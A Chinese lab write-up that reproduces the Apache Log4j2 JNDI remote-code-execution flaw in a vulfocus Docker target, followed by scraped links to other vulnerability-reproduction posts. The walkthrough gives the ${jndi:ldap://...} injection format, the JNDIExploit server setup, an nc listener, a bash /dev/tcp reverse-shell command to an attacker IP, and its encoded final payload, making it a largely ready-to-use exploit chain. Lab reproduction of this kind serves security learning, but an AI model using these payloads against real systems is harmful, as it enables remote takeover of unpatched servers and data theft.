最近最热门的无非是最近爆出的超大boss—Apache log4j2组件的rce漏洞。安全圈俗称'过年',漏洞影响范围之广,危害之大堪比当年的永恒之蓝。由于最近爆出,危害程度目前还正在不断扩大中。超多的大佬已经复现了,那么作为网络安全的小白,不复现一下就是对不起自己。!!!

  Apache log4j介绍

  Apache log4j是Apache的一个开源项目,Apache log4j 2是一个就Java的日志记录工具。该工具重写了log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组建等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。

  下面开始复现

  1,首先搭建靶场:

  使用docker环境搭建靶场,应该说是最最方便的了。至于docker环境的安装这里就不用我多讲了。

  拉取镜像:

  docker pull vulfocus/log4j2-rce-2021-12-09

root@localhost# docker pull vulfocus/log4j2-rce-2021-12-09
Using default tag: latest
latest: Pulling from vulfocus/log4j2-rce-2021-12-09
7b1a6ab2e44d: Pull complete
137d0593639e: Pull complete
4f4fb700ef54: Pull complete
830718d01660: Pull complete
a08ba33271e9: Pull complete
f26156a19734: Pull complete
Digest: sha256:49ed4882bfee3fef1787adfb354f75f78eb1e45a6fd0d02ea56661edaf120982
Status: Downloaded newer image for vulfocus/log4j2-rce-2021-12-09:latest
docker.io/vulfocus/log4j2-rce-2021-12-09:latest

  启动docker容器:

  docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09

root@localhost# docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09
c93cf087cc973cdb0b7b92826c702c7ca80959d7a1dabf1429f0eb66f4c7c311

  访问:ip:38080即可。出现如下页面表示靶机搭建完成。

  2,dnslog检测漏洞存在:

  访问存在漏洞页面:http://192.168.145.128:38080/hello,抓包。

  漏洞存在点在payload参数,payload格式为:${jndi:ldap://xxx.dnslog.cn/exp}

  注意,这时把get请求改为post,同时添加请求头:Content-Type:application/x-www-form-urlencoded

  刷新dnslog.cn:

  发现dnslog.cn记录,说明存在log4j2-rce漏洞。

  3,反弹Shell:以下操作均在攻击机上(192.168.145.142)

  使用JNDIExploit-1.2-SNAPSHOT.jar搭建恶意的jndi服务。这里我们使用的是ldap的1389端口

┌──(kali㉿kali)-[~/Desktop/JNDIExploit.v1.2]
└─$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.145.142
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8080...

  开启nc监听

┌──(kali㉿kali)-[~/Desktop]
└─$ nc -lvnp 8888
listening on [any] 8888 ...

  这样,攻击机的设置就完成了,然后开始写payload,触发漏洞,反弹shell。

  反弹shell paylaod:

  bash -i >& /dev/tcp/192.168.145.142/8888 0>&1

  进行base64编码然后两次url编码:(看情况,有时可能只需要url编码一次,有时需要url编码2次,也有可能不需要url编码,看1389端口返回执行的具体command命令到底是多少,然后决定怎么进行编码。在最终的command命令下,必须要解析为正确的反弹shell命令,如下,如果解析失败的话,会提示Exception: Incorrect params:错误,这个时候需要修改url编码让它能够正确解析。)

  YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjE0NS4xNDIvODg4OCAwPiYx

  

  最终payload为:

  ${jndi:ldap://192.168.145.142:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjE0NS4xNDIvODg4OCAwPiYx}

  在burp里面,如果不成功,就把这个参数进行url全编码,在此发送,url全编码还是比较好用的。

  发送数据包,触发漏洞,反弹shell:有可能会等待时间较久,需要有耐心。

  完毕。

Apache-Log4j2-Rce漏洞复现的更多相关文章

  1. Apache Solr Velocity模板注入RCE漏洞复现

    Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...

  2. Apache Solr JMX服务 RCE 漏洞复现

    Apache Solr JMX服务 RCE 漏洞复现 ps:Apache Solr8.2.0下载有点慢,需要的话评论加好友我私发你 0X00漏洞简介 该漏洞源于默认配置文件solr.in.sh中的EN ...

  3. Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现

    Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现 一.漏洞描述 Joomla是一套内容管理系统,是使用PHP语言加上MYSQL数据库所开发的软件系统,最新版本为3.9.12,官网: ...

  4. Apache Shiro反序列化漏洞复现

    Apache Shiro反序列化漏洞复现 0x01 搭建环境 获取docker镜像 Docker pull medicean/vulapps:s_shiro_1 重启docker system res ...

  5. 【Vulhub】CVE-2019-3396 Confluence RCE漏洞复现

    CVE-2019-3396 Confluence RCE漏洞复现 一.环境搭建 选择的vulhub里的镜像,进入vulhub/Confluence/CVE-2019-3396目录下,执行 docker ...

  6. Apache Flink 任意 Jar 包上传致 RCE 漏洞复现

    0x00 简介 Flink核心是一个流式的数据流执行引擎,其针对数据流的分布式计算提供了数据分布.数据通信以及容错机制等功能.基于流执行引擎,Flink提供了诸多更高抽象层的API以便用户编写分布式任 ...

  7. Apache Tomcat Ajp-CVE-2020-1938漏洞复现

    环境搭建: sudo docker pull duonghuuphuc/tomcat-8.5.32 sudo docker run -d -it -p 8080:8080 -p 8009:8009  ...

  8. Solr 8.2.0最新RCE漏洞复现

    漏洞描述 国外安全研究员s00py公开了一个Apache Solr的Velocity模板注入漏洞.该漏洞可以攻击最新版本的Solr. 漏洞编号 无 影响范围 包括但不限于8.2.0(20191031最 ...

  9. Apache Shiro 反序列化漏洞复现(CVE-2016-4437)

    漏洞描述 Apache Shiro是一个Java安全框架,执行身份验证.授权.密码和会话管理.只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞. 漏洞原理 A ...

  10. CVE-2019-5475:Nexus2 yum插件RCE漏洞复现

    0x00 前言 如果有想一起做漏洞复现的小伙伴,欢迎加入我们,公众号内点击联系作者即可 提示:由于某些原因,公众号内部分工具即将移除,如果有需要的请尽快保存 0x01 漏洞概述 最近hackerone ...

随机推荐

  1. 大家都在用-神奇的Markdown格式

    概述 Markdown 是一种轻量级标记语言,它可以使我们专注于写作内容,而不用过多关注排版,很多博主.作家等都用它来撰写文章~ 本文将给各位小伙伴介绍 Markdown 语法的使用,本篇文章索奇就是 ...

  2. 高精度------C++

    高精度运算------C++ (加减乘除) 例:ZOJ2001 http://acm.zju.edu.cn/onlinejudge/showProblem.do?problemId=1001 The ...

  3. 2020-10-21:go中channel的send流程是什么?

    福哥答案2020-10-21: ***[评论](https://user.qzone.qq.com/3182319461/blog/1603234689)

  4. hasattr()、getattr()、setattr()函数简介

    hasattr(object, name) 判断object对象中是否存在name属性,当然对于python的对象而言,属性包含变量和方法:有则返回True,没有则返回False:需要注意的是name ...

  5. Golang接收者方法语法糖

    1.概述 在<Golang常用语法糖>这篇博文中我们讲解Golang中常用的12种语法糖,在本文我们主要讲解下接收者方法语法糖. 在介绍Golang接收者方法语法糖前,先简单说下Go 语言 ...

  6. 知识拷问:工作站和服务器哪个更适合做CST电磁仿真?

    通常大型企业都会具备工作站和服务器用以作为办公的支持,在大家做仿真分析时,我们一般建议大家更多地使用工作站,工作站要比服务器更适合做CST软件的仿真运算. 什么是服务器? 服务器是指在网络环境下运行相 ...

  7. AcWing 1019. 庆功会

    为了庆贺班级在校运动会上取得全校第一名成绩,班主任决定开一场庆功会,为此拨款购买奖品犒劳运动员. 期望拨款金额能购买最大价值的奖品,可以补充他们的精力和体力. 输入格式 第一行二个数n,m,其中n代表 ...

  8. Vue cli3 整合SuperMap巧遇js异步加载的坑

    最近使用到superMap做三维地图,而项目又分为可视化大屏与后台管理系统两部分,所以项目配置了多入口,然引入cesium依赖就成了问题,在vue cli3 整合Cesium,处理build 时内存溢 ...

  9. ODOO13之 八:Odoo 13开发之业务逻辑 – 业务流程的支持

    在前面的文章中,我们学习了模型层.如何创建应用数据结构以及如何使用 ORM API 来存储查看数据.本文中我们将利用前面所学的模型和记录集知识实现应用中常用的业务逻辑模式. 本文的主要内容有: 以单据 ...

  10. 3、数据库:Oracle部署 - 系统部署系列文章

    Oracle数据库的安装,以前写过一篇,这次将新版的安装再记录一次,让读者能够有所了解,笔者也能够记录下最新版的安装过程. 一.数据库下载: Oracle最新版目前在官网是19c,从下面这个链接进去下 ...